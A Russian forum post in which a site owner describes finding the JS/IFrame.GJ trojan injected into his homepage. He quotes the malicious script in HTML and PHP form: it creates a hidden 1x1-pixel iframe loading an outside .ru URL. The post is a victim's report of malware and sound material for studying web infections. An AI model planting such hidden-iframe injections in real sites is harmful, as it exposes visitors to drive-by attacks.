Важная информация
Показано с 1 по 1 из 1

Тема: Троянская программа JS/IFrame.GJ

  1. #1 Троянская программа JS/IFrame.GJ 
    Новичок
    Регистрация
    17.01.2013
    Сообщений
    9
    Сказал(а) спасибо
    0
    Поблагодарили 1 раз в 1 сообщении
    Здравствуйте. Вот решил зайти на свою домшнюю страницу, NOD начал быковать. Говорит что нашёл на моей домашней странице, троян. Ну я сразу кинулся смотреть исходный код моей страницы.
    И нашёл там вот что:
    HTML Code:
    1.  
    2. <!--e2aa4e-->
    3. <[Ссылки могут видеть только зарегистрированные пользователи. ] type="text/javascript" language="javascript" >
    4. (function () {    
    5. var at = document.createElement('iframe');  
    6. at.src = 'http://nylzudwo.ru/count13.php';  
    7. at.style.position = 'absolute';  
    8. at.style.border = '0';  
    9. at.style.height = '1px';
    10. at.style.width = '1px';
    11. at.style.left = '1px';  
    12. at.style.top = '1px';
    13. if (!document.getElementById('at')) {
    14. document.write('<[Ссылки могут видеть только зарегистрированные пользователи. ] id=\'at\'></[Ссылки могут видеть только зарегистрированные пользователи. ]>');  
    15. document.getElementById('at').appendChild(at);  
    16. }})();
    17. </[Ссылки могут видеть только зарегистрированные пользователи. ]>
    18. <!--/e2aa4e-->


    Каким-то странным образом там появился этот кусок кода. Ну его собственно удалил. Вирус был умный, в html файлах вставлял просто тег <script></script>

    А в PHP скриптах ставлял нечто:
    PHP Code:
    1.  
    2. <?php
    3.  
    4. echo <<<HTML
    5.  
    6. <!--e2aa4e-->
    7. <script type="text/javascript" language="javascript" >
    8. (function () {    
    9. var at = document.createElement('iframe');  
    10. at.src = 'http://nylzudwo.ru/count13.php';  
    11. at.style.position = 'absolute';  
    12. at.style.border = '0';  
    13. at.style.height = '1px';
    14. at.style.width = '1px';
    15. at.style.left = '1px';  
    16. at.style.top = '1px';
    17. if (!document.getElementById('at')) {
    18. document.write('<div id=\'at\'></div>');  
    19. document.getElementById('at').appendChild(at);  
    20. }})();
    21. </script>
    22. <!--/e2aa4e-->
    23.  
    24. HTML;
    25. ?>


    (да-да... Это тот самый HEREDOC синтаксис.) Потом решил зайти на этот проклятый сайт, nylzudwo.ru/count13.php, так и ничего такого не обнаружил. Страница не загрузилась.

    Вот думаю, как мог попасть туда этот кусок кода? Уж точно не через мой комп. У меня линь стоит. Наверное каким-то магическим способом.
    Было ли у кого такое?
    int i =6; ++i + i++ = ?
    Ответить с цитированием  
     

  2. Пользователь сказал cпасибо:

    Dmitry (19.01.2013)

Информация о теме
Пользователи, просматривающие эту тему

Эту тему просматривают: 1 (пользователей: 0 , гостей: 1)

Похожие темы

  1. Программа переворачивающия слова
    от barinov95 в разделе QBasic
    Ответов: 11
    Последнее сообщение: 12.12.2013, 13:03
  2. Верно ли составлена программа
    от Ириска в разделе QBasic
    Ответов: 2
    Последнее сообщение: 08.01.2012, 17:49
  3. программа работает, но есть вопрос
    от чес в разделе Turbo Pascal
    Ответов: 9
    Последнее сообщение: 15.04.2011, 20:25
  4. Нет еретикам. Программа для сжигания еретиков
    от Dispetcher14 в разделе Разработки на QBasic
    Ответов: 25
    Последнее сообщение: 28.03.2011, 17:23
  5. Выпуск №1 - первая программа
    от Konstantin Shcherba в разделе Архив
    Ответов: 0
    Последнее сообщение: 24.11.2010, 19:54
Ваши права
  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
  •